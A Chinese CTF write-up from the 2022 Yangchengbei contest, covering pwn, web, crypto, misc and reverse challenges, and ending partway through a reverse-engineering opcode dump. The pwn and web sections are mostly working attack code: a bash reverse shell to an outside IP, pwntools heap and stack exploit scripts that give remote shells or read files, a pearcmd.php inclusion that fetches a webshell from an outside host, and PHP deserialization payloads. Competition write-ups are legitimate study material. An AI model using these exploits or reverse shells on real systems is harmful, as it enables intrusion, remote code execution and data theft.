羊城杯2022--Writeup

                                                                              -------TWe1v3、1amfree、scr1pt_k1ddi3


这个比赛太累了可,凌晨三点碰着枕头就睡着了,不过收获也蛮多的,这次题目很友好,不像wmCTF一样坐大牢。感谢两位大哥的实力带飞,太菜了我。全靠躺。

 羊城杯2022--Writeup_第1张图片

 

目录

Pwn

YCBSQL

fakeNoOutput

Dream

Web

rce_me

step_by_step-v3

Safepop

Crypto

EasyRsa

LRSA

Misc

签到

where_is_secret

迷失幻境

躲猫猫

Re

BBBButton

easyjs


Pwn

YCBSQL

这个应该是有了非预期,可以直接调用shell,我们直接反弹就行。

羊城杯2022--Writeup_第2张图片

 

Payload:

.system bash -c "bash -i  >&/dev/tcp/101.43.255.238/7777 0>&1"

羊城杯2022--Writeup_第3张图片

 

这个题目的漏洞就是在unlink的时候如果是unlink的头指针,那么后面的指针没有清空,就会是这样:

羊城杯2022--Writeup_第4张图片

 

然后在free函数的时候,如果offset是0xff,那么后面的指针就都能释放掉,因此就会产生double free。

羊城杯2022--Writeup_第5张图片

 

所以实际上就是一个double free的利用。这里我一开始是用的9.7的libc,之后直接改成9.2的就行。

from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
r=remote("tcp.dasc.buuoj.cn",23916)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/pwn")
# libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc.so.6")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/pwn/libc.so.6")
context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
    r.sendlineafter("Your choice:",str(index))

def add(size,content):
    meau(1)
    r.sendlineafter("Size:",str(size))
    r.sendafter("Content:",content)

def delete(index,offset):
    meau(2)
    r.sendlineafter("Index",str(index))
    r.sendlineafter("Input offset:",str(offset))

def link(id1,id2):
    meau(3)
    r.sendlineafter("link from:",str(id1))
    r.sendlineafter("link to:",str(id2))

def unlink(index,offset):
    meau(4)
    r.sendlineafter("Index:",str(index))
    r.sendlineafter("Input offset:",str(offset))

add(8,'a'*8)
add(8,'b'*8)
add(8,'c'*8)
add(8,'d'*8)

for i in range(8):
    add(0x70,p64(0)+p64(0X451))

link(0,1)
unlink(0,0)

delete(1,0xff)
add(8,'z'*8)
link(0,1)

meau(4)
r.sendlineafter("Index:",str(0))
r.recvuntil("Offset 1:")
heap_base=u64(r.recvuntil("\n")[:-1].ljust(8,b'\x00')) - 0x2e0
success("heap_base = "+hex(heap_base))
r.sendlineafter("Input offset:",str(1))

link(2,3)
unlink(2,0)
delete(3,0xff)

payload=p64(0)+p64(0x450)+p64(heap_base+0x3b0)
add(0x18,payload)

delete(2,0)

add(8,'/bin/sh\x00')
add(8,'z'*8)
add(0x60,"z"*8)

payload=p64(0)+p64(8)+p64(heap_base+0x460)
add(0x18,payload)

link(0,4)

meau(4)
r.sendlineafter("Index:",str(0))
libc_base=u64(r.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x10 -96 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))
r.sendlineafter("Input offset:",str(1))

system_addr=libc.symbols['system']+libc_base
free_hook=libc_base+libc.symbols['__free_hook']

delete(7,0)
delete(6,0)
delete(1,0)

payload=p64(free_hook)*3
add(0x60,payload)

add(0x60,payload)

add(0x70,p64(system_addr))
add(0x70,p64(system_addr))
delete(3,0)

r.interactive()

fakeNoOutput

这道题目就有点难受,首先是一堆的逆向操作。但是实际上就是一个栈溢出,并且溢出了非常多的字节。但是想要让程序执行到溢出点还是有点的困难。首先我们发现溢出点在upload里面的strcpy(s, haystack);这个部分,然后我们只需要让函数调用upload就可以溢出。但是首先要通过sub_804976F这个函数里面的验证,经过逆向调试发现,就是一个伪随机数,我们直接输入就行。然后溢出的自己大小和Content-Length有较大的关系,因此我们要设置Content-Length的大小来控制溢出的长度。之后由于函数限制的原因,无法ret2libc,因此我们经过精心构造,返回到http_puts函数,然后就能够泄露出got表里的内容,之后再返回主函数再溢出一次就行,就能够拿到shell。让人十分不解的是不知道为什么第二个端口一直打不通,泄露不出来东西,第一个端口多跑两次就能够打通远端。

羊城杯2022--Writeup_第6张图片

 

from os import execve
from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
r=remote("tcp.dasc.buuoj.cn",20432)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/fakeNoOutput")
libc=ELF("/home/ubuntu/pwn/比赛/羊城杯/fakeNoOutput/libc.so.6")

context(arch="i386",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

payload="POST /upload /  "
r.sendline(payload)

payload2="Content-Length:0x4022\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

strlen_got=elf.got['strlen']
strstr_plt=elf.plt['strstr']
# payload=(p32(0x804D1a0)+p32(0x8049F77)+p32(0x804D010)).rjust(0x1040,b'a')+p32(0x804D1A0+0x103c-8)+p32(0x80496A8)
payload=b'b'*0x1040+p32(0x804D1A0+0x4000-4)+p32(0x80496A8)
payload=payload.ljust(0x4000,b'a')+p32(0x8049F77)+p32(0x804D010)
r.send(payload)

libc_base=u32(r.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00")) - libc.symbols['strstr']
success("libc_base = "+hex(libc_base))

system_addr = libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search(b'/bin/sh').__next__()
execve_addr=libc_base+libc.symbols['execve']

gadget1=0xcc9ab
gadget2=0x145f43
gadget3=0x145f44
one_gadget=libc_base+gadget1

payload="POST /upload /  "
r.sendline(payload)

payload2="Content-Length:0xece\t"
r.sendline(payload2)
payload3="HTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\t"
r.sendline(payload3)
r.send("\n")

payload='Content:zzzzfilename=zzzz'
r.sendline(payload)

payload=b'c'*0xe9c+p32(execve_addr)+p32(0)+p32(bin_sh)+p32(0)*2
r.send(payload)

r.interactive()

Dream

说是dream,实际上就是一个largebin attack,然后UAF漏洞,函数功能还都比较齐全。主要是开启了沙箱不能拿到shell,并且show函数里面有一个加密的过程,想要泄露数据必须要完成逆向,之后我们直接利用qwb里面house of cat的做法,一次largebin attack攻击malloc assert即可实现orw读取flag并泄露。

羊城杯2022--Writeup_第7张图片

 

from pwn import *
# r=process("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
r=remote("tcp.dasc.buuoj.cn",26422)
elf=ELF("/home/ubuntu/pwn/比赛/羊城杯/dream/dream")
libc=ELF("/home/ubuntu/glibc-all-in-one/libs/2.32-0ubuntu3_amd64/libc.so.6")

context(arch="amd64",os="linux",log_level="debug")
context.terminal = ['gnome-terminal','-x','sh','-c']

def meau(index):
    r.sendlineafter("choice: ",str(index))

def add(index,size,content):
    meau(1)
    r.sendlineafter("Give me a dream ID: ",str(index))
    r.sendlineafter("how long: ",str(size))
    r.sendafter("dream: ",content)

def delete(index):
    meau(2)
    r.sendlineafter("Which dream to wake?",str(index))

    
def show(index):
    meau(4)
    r.sendlineafter("Which dream do you want to show?",str(index))

def edit(index,content):
    meau(3)
    r.sendlineafter("Which dream to make?",str(index))
    r.sendafter("dream: ",content)

def de(payload,len):
   key = [9,5,2,7]
   v9 = 52 // len + 6
   delta = 0
   delta -= v9 * 0x61C88647
   delta &= 0xffffffff
   bk = payload[0]

   while(v9):

      for i in range(1,len)[::-1]:
         fd = payload[i - 1]
         payload[i] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
         payload[i] &= 0xffffffff
         bk = payload[i]
      i -= 1
      fd = payload[len - 1]
      payload[0] -= (((8 * bk) ^ (fd >> 7)) + ((bk >> 3) ^ (16 * fd))) ^ ((bk ^ delta) + (fd ^ key[((delta >> 2) & 3) ^ i & 3]))
      payload[0] &= 0xffffffff
      bk = payload[0]

      delta += 0x61C88647
      delta &= 0xffffffff

      v9-=1
   return payload

add(0,0x420,'a')
add(1,0x400,'b')
add(2,0x410,"c")
delete(0)
delete(1)
show(0)

payloads=[]

for i in range(0x420//4):
    payloads.append(int.from_bytes(r.recv(4), "little"))

payloads=de(payloads,0x420//4)
main_arena=(payloads[0]+(payloads[1]<<32)) - 96
libc_base=main_arena - 0x10 - libc.symbols['__malloc_hook']
success("libc_base = "+hex(libc_base))

stderr_addr=libc_base+libc.symbols['stderr']
set_context=libc_base+libc.symbols['setcontext']+61

show(1)

payloads1=[]

for i in range(0x400//4):
    payloads1.append(int.from_bytes(r.recv(4), "little"))

payloads1=de(payloads1,0x400//4)

heap_base=(payloads1[2]+(payloads1[3]<<32)) - 0x10
success("heap_base = "+hex(heap_base))

payload=p64(main_arena+96)*2
payload=payload.ljust(0x410,b'\x00')
edit(0,payload)

payload=p64(heap_base>>12)+p64(heap_base+0x10)
payload=payload.ljust(0x400,b'\x00')
edit(1,payload)

add(3,0x440,"d")
delete(2)

payload=p64(0)*3+p64(stderr_addr - 0x20)
edit(0,payload)

add(4,0x4f0,'e')

delete(4)
add(5,0x430,'z')

payload=b'\x00'*0x438+p64(0x70)
edit(4,payload)

fake_io_addr=heap_base+0xad0 
next_chain = 0
fake_IO_FILE=p64(heap_base)         
fake_IO_FILE+=p64(0)*7
fake_IO_FILE +=p64(heap_base+0xee0)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0xb0)
fake_IO_FILE +=p64(set_context)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+0x1e4f80+0x10)
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x50)

edit(2,fake_IO_FILE)

shellcode_addr=heap_base+0xee0+0x300

frame = SigreturnFrame()

frame.rsp = shellcode_addr+0x20
frame.rdi = heap_base
frame.rsi = 0x10000
frame.rdx = 7
frame.rip = libc_base+libc.symbols['mprotect']

code = shellcraft.open("/flag")
code += shellcraft.read('rax','rsp',0x50)
code += shellcraft.write(1, 'rsp', 0x50)
code += shellcraft.exit(0)
shellcode=asm(code)
payload=bytes(frame)[0x20:].ljust(0x300,b'\x00')+p64(shellcode_addr+0x28)+shellcode
edit(3,payload)

meau(1)
r.sendlineafter("Give me a dream ID: ",str(6))
r.sendlineafter("how long: ",str(0x4f0))

r.interactive()

Web

rce_me

扫进程扫到了这个

羊城杯2022--Writeup_第8张图片

 

直接读根目录/flag,没有权限,应该是需要连木马提权

 

找了一圈死活找不到可以包含的文件,最后要拿pearcmd.php去下载文件然后包含,过滤的字符串可以url编码绕过。

?file=/usr/local/lib/php/%70%65%61%72cmd.php&+download+http://101.43.255.238/1.txt

羊城杯2022--Writeup_第9张图片

 

下载文件直接到web目录成功

羊城杯2022--Writeup_第10张图片

 

包含文件+蚁剑连接+date提权

羊城杯2022--Writeup_第11张图片

 

step_by_step-v3

pop链题目,这里应该是要跳到hint那里去绕过include_once包含文件,但是过滤很多,包含不进去,然后就看到($this->y1)();可以看phpinfo,结果flag直接出来了

c1->flag = 'flag';
    }

    public function __invoke()
    {
        $this->c1->hint();
    }
}

class bei
{
    public $b1;
    public $b2;

    public function __set($k1,$k2)
    {
        print $this->b1;
    }

    public function __call($n1,$n2)
    {
        echo $this->b1;
    }
}
$c=new cheng();
$b=new bei();
$y=new yang();
$y1=new yang();
$c->c1=$b;
$b->b1=$y;
$y->y1="phpinfo";
print_r(serialize($c));
O:5:"cheng":1:{s:2:"c1";O:3:"bei":2:{s:2:"b1";O:4:"yang":1:{s:2:"y1";s:7:"phpinfo";}s:2:"b2";N;}}

羊城杯2022--Writeup_第12张图片

 

 

Safepop

func=[new Test(),"getFlag"];
    }
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
    public function __wakeup(){
        $this->func = '';
        die("Don't serialize me");
    }
}

class Test{
    public function getFlag(){
        system("cat /flag?");
    }
    public function __call($f,$p){
        phpinfo();
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}

class A{
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}

class B{
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
$b=new B();
$a=new A();
$t=new Test();
$f=new Fun();
$b->a=$a;
$b->p="getFlag";
$a->a=$f;
print_r(serialize($b));
//O:1:"B":2:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:" Fun func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}
//O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}

这个题一看就是需要去调那个getFlag方法,但是这里preg_match("/Test/",get_class($this->a))看到了过滤说明直接调用肯定是不行的,所以我们是需要通过Fun类的回调函数去调用的,这样就可以绕过过滤。

同时还有个问题就是weakup,看了一眼php版本,php7.3可能是还有绕过,不然这题没法做了。

羊城杯2022--Writeup_第13张图片

 

然后我们就是需要挖链子,这里还有个小问题就是throw new Exception("no pop");会抛出异常,绕过他的方式是要让反序列化的内容有错,这里我一直习惯是用数组去改绕过,但是因为这里最后是要改大小绕weakup的所以不用数组也行。这里$b->p="getFlag";也不需要一定赋值getFlag,只要是随便一个B里面没有的方法就行,这里一开始是直接调的Test,所以赋了这个,懒得改了,这里私有方法记得加%00或者url编码一下。还有要改一下B那里改大一点,改成了3.

?pop=O:1:"B":3:{s:1:"p";s:7:"getFlag";s:1:"a";O:1:"A":1:{s:1:"a";O:3:"Fun":1:{s:9:"%00Fun%00func";a:2:{i:0;O:4:"Test":0:{}i:1;s:7:"getFlag";}}}}

羊城杯2022--Writeup_第14张图片

 

Crypto

EasyRsa

唔,找到一个素数因子,直接分解n。然后就是常规操作,

file  = "D:\\桌面\\CRYPTO附件\\task\\output.txt"
f = open(file,'r')
a = f.readlines()
from Crypto.Util.number import *
A = []
for i in a:
    n = int(i)
    A.append(n)
A = A[::-1]
e = 65537
c=38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
cnt = 0
def decrypt(c,d,n):
    return pow(c,d,n)
for n in A:
    q = n // p
    assert p*q == n
    phi = (p-1) * (q-1)
    d = inverse(e,phi)
    m = decrypt(c,d,n)
    print(pow(m,e,n)==c)
    c = m
print(long_to_bytes(c))

LRSA

根据

 构造格子

羊城杯2022--Writeup_第15张图片 

我们需要的向量(p-58,q-44,k)量级大概在1024bit,那么需要对我们构造的lattice进行放大

羊城杯2022--Writeup_第16张图片

 

使用LLL算法得到(p-58,q-44,k),即可分解n。

from Crypto.Util.number import *
import gmpy2
B=1023
PPQ=17550772391048142376662352375650397168226219900284185133945819378595084615279414529115194246625188015626268312188291451580718399491413731583962229337205180301248556893326419027312533686033888462669675100382278716791450615542537581657011200868911872550652311318486382920999726120813916439522474691195194557657267042628374572411645371485995174777885120394234154274071083542059010253657420242098856699109476857347677270860654429688935924519805555787949683144015873225388396740487817155358042797286990338440987035608851331840925854381286767024584195081004360635842976624747610461507795755042915965483135990495921912997789567020652729777216671481467049291624343256152446367091568361258918212012737611001009003078023715854575413979603297947011959023398306612437250872299406744778763429172689675430968886613391356192380152315042387148665654062576525633130546454743040442444227245763939134967515614637300940642555367668537324892890004459521919887178391559206373513466653484926149453481758790663522317898916616435463486824881406198956479504970446076256447830689197409184703931842169195650953917594642601134810084247402051464584676932882503143409428970896718980446185114397748313655630266379123438583315809104543663538494519415242569480492899140190587129956835218417371308642212037424611690324353109931657289337536406499314388951678319136343913551598851601805737870217800009086551022197432448461112330252097447894028786035069710260561955740514091976513928307284531381150606428802334767412638213776730300093872457594524254858721551285338651364457529927871215183857169772407595348187949014442596356406144157105062291018215254440382214000573515515859668018846789551567310531570458316720877172632139481792680258388798439064221051325274383331521717987420093245521230610073103811158660291643007279940393509663374960353315388446956868294358252276964954745551655711981
PQQ=17632503734712698604217167790453868045296303200715867263641257955056721075502316035280716025016839471684329988600978978424661087892466132185482035374940487837109552684763339574491378951189521258328752145077889261805000262141719400516584216130899437363088936913664419705248701787497332582188063869114908628807937049986360525010012039863210179017248132893824655341728382780250878156526086594253092249935304259986328308203344932540888448163430113818706295806406535364433801544858874357459282988110371175948011077595778123265914357153104206808258347815853145593128831233094769191889153762451880396333921190835200889266000562699392602082643298040136498839726733129090381507278582253125509943696419087708429546384313035073010683709744463087794325058122495375333875728593383803489271258323466068830034394348582326189840226236821974979834541554188673335151333713605570214286605391522582123096490317734786072061052604324131559447145448500381240146742679889154145555389449773359530020107821711994953950072547113428811855524572017820861579995449831880269151834230607863568992929328355995768974532894288752369127771516710199600449849031992434777962666440682129817924824151147427747882725858977273856311911431085373396551436319200582072164015150896425482384248479071434032953021738952688256364397405939276917210952583838731888536160866721278250628482428975748118973182256529453045184370543766401320261730361611365906347736001225775255350554164449014831203472238042057456969218316231699556466298168668958678855382462970622819417830000343573014265235688391542452769592096406400900187933156352226983897249981036555748543606676736274049188713348408983072484516372145496924391146241282884948724825393087105077360952770212959517318021248639012476095670769959011548699960423508352158455979906789927951812368185987838359200354730654103428077770839008773864604836807261909
t=44
c=4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
PQ = gmpy2.gcd(PPQ,PQQ)
Q = PQQ//PQ
P = PPQ//PQ
p = 80736411146583842306585010871034886981016840349026602734742256246556342668178774083233822097872779308174897649383396380481655663281333047577768952571915605685701400990749928642136680236367785948214890529631428970999122918591632651324318444462622996015719163492064450044087392474349767300242266723293755137205+58
q = 71239161441539946834999944364158306978517617517717217001776063773301330324729178632534286023377366747004115034635139042058644768011502688969022553791977558750633767627495955645170437100983708648876951588485253787441732757259210010467734037546118780321368088487269039555130213851691659851510403573663333586407+44
e = 65537
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
print(long_to_bytes(pow(c,d,p*q)))

Misc

签到

直接ciphey识别解码就OK

羊城杯2022--Writeup_第17张图片

 

where_is_secret

拿到附件,vig.txt的内容一眼丁真,vigenere编码(Vigenere Solver - www.guballa.de)在线解密,拿到解开压缩包得到一张bmp图片,结合hint的脚本,写读像素点脚本

from PIL import Image
import numpy as np
import math
def encode(text):
    str_len = len(text)
    width = math.ceil(str_len ** 0.5)
    im = Image.new("RGB", (width, width), 0x0)
    x, y = 0, 0
    for i in text:
        index = ord(i)
        rgb = (0, (index & 0xFF00) >> 8, index & 0xFF)
        im.putpixel((x, y), rgb)
        if x == width - 1:
            x = 0
            y += 1
        else:
            x += 1
    return im
def decode():
    file = open("829962.txt","w")
    img = Image.open("out.bmp")
    imgdata = np.array(img)
    index = []
    for x in range(371):
        for y in range(371):
            m = int(imgdata[x][y][1])
            n = int(imgdata[x][y][2])
            str = m<<8
            str += n
            file.write(chr(str))
    file.close()
if __name__ == '__main__':
    decode()

打开输出的文本,发现flag被打散在文本中,写一个字母识别脚本,懒了,没写正则。。

file='D:\\桌面\\829962.txt'
import string

dict = string.ascii_letters+'_'+'1'+'3'+'}'+'{'
var = ''
f = open(file,'r',encoding='gbk').read()
for i in f:
    if i in dict:
        var += i
print(var)

获得串flag

 结合特征

flag{h1d3_1n_th3_p1ctur3}

迷失幻境

打卡压缩包,是虚拟磁盘镜像,取证大师挂载,查看回收站有一个jpg和一个45文件。

 

查看45文件发现PNG格式特征

羊城杯2022--Writeup_第18张图片

 

补充文件头,然后与给的100张图片中随便选一张用stegslove里的Image combiner,获得一窜字符“Key is 可莉前来报到”,猜测可爱可莉.jpg就是加密的图片,轮番试过之后,用outguess解出flag

羊城杯2022--Writeup_第19张图片

 

DASCTF{f473a6fd2de17a0c5794414b3905ebbe}

躲猫猫

打开题目附件,用wireshark打开,读取http报文,发现一个PNG特征格式的文件

羊城杯2022--Writeup_第20张图片

 

羊城杯2022--Writeup_第21张图片

下载获得一张灰色的PNG

接着读报文,FTP拿到一个加密压缩包,发现key.log没有加密,查看内容,通过查询是用来解密TLS流量的。

羊城杯2022--Writeup_第22张图片

 

解密TLS流量之后获得一张JPG图片

 

内容是压缩包的解压密码。解压后的脚本是对原图的像素重计算,编写脚本恢复原图。

from PIL import Image
from numpy import array, zeros, uint8
import cv2
import os
image = cv2.imread("hide.png")
imagearray = array(image)
 
x,y = 5999540678407978169965856946811257903979429787575580150595711549672916183293763090704344230372835328,6310149030391323406342737832910952782997118359318834776480172449836047279615976753524231989362688
 
h,w = 1800,1800
 
x1 = round(x/y*0.001, 16)
u1 = y*3650/x
x2 = round(x/y*0.00101, 16)
u2 = y*3675/x
x3 = round(x/y*0.00102, 16)
u3 = y*3680/x
kt = [x1, x2, x3]
temp_image = zeros(shape=[h, w, 3], dtype=uint8)
 
for k in range(0, 1):
    for i in range(0, h):
        for j in range(0, w):
            x1 = u1 * x1 * (1 - x1)
            x2 = u2 * x2 * (1 - x2)
            x3 = u3 * x3 * (1 - x3)
            r1 = int(x1*255)
            r2 = int(x2*255)
            r3 = int(x3*255)
            for t in range(0, 3):
                temp_image[i][j][t] = (imagearray[i][j][t] - ((r1+r2) ^ r3)) % 256
    
    
    x1 = kt[0]
    x2 = kt[1]
    x3 = kt[2]
 
encflagarray = Image.fromarray(temp_image)
encflagarray.show()
encflagarray.save("flag.png")

得到一张图片,一番搜索,是Maxicode码,扫描多次未成功,接着查找资料,发现猫的位置需要更替为一个中心靶标(公牛眼)

羊城杯2022--Writeup_第23张图片

 

扫描成功!!

羊城杯2022--Writeup_第24张图片

 

GWHT{ozqgVLoI1DvK8giNVdvGslr_aZKKwNuv_q-FzqB5N3hHHqn3}

Re

BBBButton

输入分为两段,其中第二段是最后的flag。因为只有4个按钮,猜测与四进制有关,之后在动调的过程中也刚好发现了四进制转换后的数字。

check1

动调发现,check1是从一张表中得到"-bl^H"字符串,本质上是通过整除及取余的方式确定下标得到字符。脚本如下

from table import table        # 导入表

c = [0x2d,0x62,0x6c,0x5e,0x48]
a1 = [0x2d,0x62]    # 14772//4
a2 = [0x6c,0x5e]    # 24740//4
a3 = 0x48
# 4,344,684,1024,1364,1704,2044,2384,2724,3064,3404,3744,4084,4424,4764,5104,5444,5784,6124,6464,6804,7144,7484,7824,8164,8504,8844,9184,9524,9864,10204,10544,10884,11224,11564,11904,12244,12584,12924,13264,13604,13944,14284,14624,14964,15304,15644,15984,16324,16664,17004,17344,17684,18024,18364,18704,19044,19384,19724,20064,20404,20744,21084,21424,21764,22104,22444,22784,23124,23464,23804,24144,24484,24824,25164,25504,25844,26184,26524,26864,27204,27544,27884,28224,28564
tt = []
for i in range(0,len(table),4):
    if table[i]==a3:
        tt.append(i//4)
        # print(i,end=',')
    if table[i+1]==a1[0] and table[i]==a1[1]:
        n = i//4
        # print('1:',i)
    if table[i+1]==a2[0] and table[i]==a2[1]:
        m = i//4
        # print('2:',i)


k = n*0x1c39+m
# k = 0x1973a6e
# print(hex(k))

m = k%0x1c39
b = k//0x1c39
# print(hex(m))
# print(hex(table[4*m]),hex(table[4*m+1]),hex(table[4*m+2]),hex(table[4*m+3]))
# print(chr(table[4*m+1]),chr(table[4*m]))

for i in tt:
    a = i+85*k
    # b,c = aaa(a,0x55)
    c = a//0x55
    if c==k:
        flag1 = a
        print(hex(a))
# 0x87366687

将解出的a转化为4进制输入即可(动调按按钮真的魔鬼,不小心按错还得重头再来)

check2

vm混淆,opcode利用check1加密过,动调直接dump即可。然后就是喜闻乐见的手撕环节(悲

opcode = [0xF1, 0x01, 0x05, 0x04, 0xF1, 0x01, 0x08, 0x00, 0xF4, 0x08,
  0x08, 0xE1, 0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05,
  0xFF, 0x01, 0x09, 0x01, 0xF6, 0xF1, 0xE0, 0x0A, 0x00, 0xFF,
  0x01, 0x0A, 0x01, 0xF5, 0xF4, 0x0A, 0x0A, 0xE1, 0xF4, 0x0A,
  0x00, 0xE2, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x09,
  0x01, 0x19, 0xF4, 0x08, 0x00, 0xE2, 0xF1, 0x01, 0x07, 0x00,
  0xF1, 0x04, 0x06, 0xF4, 0xF3, 0xF2, 0xF1, 0xF1, 0x01, 0x04,
  0x40, 0xF1, 0xE0, 0x03, 0x05, 0xFF, 0x01, 0x03, 0x01, 0xF6,
  0xF4, 0x03, 0x03, 0xE1, 0xFF, 0xE0, 0x07, 0x06, 0xF5, 0xF1,
  0xE0, 0x00, 0x07, 0xFF, 0x01, 0x00, 0x02, 0xFA, 0xFF, 0x01,
  0x00, 0x03, 0xFD, 0xF1, 0xE0, 0x01, 0x00, 0xF1, 0xE0, 0x00,
  0x05, 0xFF, 0x01, 0x00, 0x01, 0xF6, 0xF1, 0xE0, 0x08, 0x00,
  0xF1, 0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x00, 0xFF, 0x01,
  0x09, 0x01, 0xF5, 0xF4, 0x02, 0x09, 0xE1, 0xF1, 0xE0, 0x0A,
  0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1, 0xE0, 0x0B, 0x02,
  0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0, 0x0A, 0x0B, 0xFB,
  0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x03, 0xFA, 0xF1,
  0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04, 0xF9, 0xFF, 0xE0,
  0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B, 0xF5, 0xF1, 0xE0,
  0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB, 0xF1, 0xE0, 0x0B,
  0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF, 0xE0, 0x0B, 0x01,
  0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6,
  0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF, 0xF0,
  0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0, 0x09, 0x0B, 0xF5,
  0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A, 0x00, 0xE1, 0xFF,
  0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00, 0xE2, 0xF1, 0xE0,
  0x03, 0x09, 0xFF, 0x01, 0x00, 0x01, 0xF5, 0xF2, 0x00, 0x08,
  0x01, 0x7C, 0xF1, 0x01, 0x02, 0x00, 0xF4, 0x02, 0x02, 0xE1,
  0xF1, 0xE0, 0x0A, 0x03, 0xFF, 0x01, 0x0A, 0x05, 0xFA, 0xF1,
  0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B, 0x02, 0xF9, 0xFF, 0xE0,
  0x0A, 0x0B, 0xFB, 0xF1, 0xE0, 0x0B, 0x02, 0xFF, 0x01, 0x0B,
  0x03, 0xFA, 0xF1, 0xE0, 0x0C, 0x03, 0xFF, 0x01, 0x0C, 0x04,
  0xF9, 0xFF, 0xE0, 0x0B, 0x0C, 0xFB, 0xFF, 0xE0, 0x0A, 0x0B,
  0xF5, 0xF1, 0xE0, 0x09, 0x07, 0xFF, 0xE0, 0x09, 0x02, 0xFB,
  0xF1, 0xE0, 0x0B, 0x00, 0xFF, 0x01, 0x0B, 0x03, 0xFD, 0xFF,
  0xE0, 0x0B, 0x01, 0xFB, 0xF3, 0x0B, 0x0B, 0xF1, 0xF2, 0xF3,
  0xF4, 0xF5, 0xF6, 0xF7, 0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD,
  0xFE, 0xFF, 0xF0, 0xFF, 0xE0, 0x0B, 0x03, 0xFB, 0xFF, 0xE0,
  0x09, 0x0B, 0xF5, 0xFF, 0xE0, 0x09, 0x0A, 0xFB, 0xF4, 0x0A,
  0x00, 0xE1, 0xFF, 0xE0, 0x09, 0x0A, 0xF5, 0xF4, 0x09, 0x00,
  0xE2, 0xF1, 0xE0, 0x03, 0x09, 0xFF, 0x01, 0x04, 0x01, 0xF6,
  0xF1, 0x01, 0x0C, 0x00, 0xF2, 0x04, 0x0C, 0x01, 0x54, 0xF1,
  0x01, 0x00, 0x00, 0xF1, 0xE0, 0x09, 0x05, 0xF1, 0x04, 0x0A,
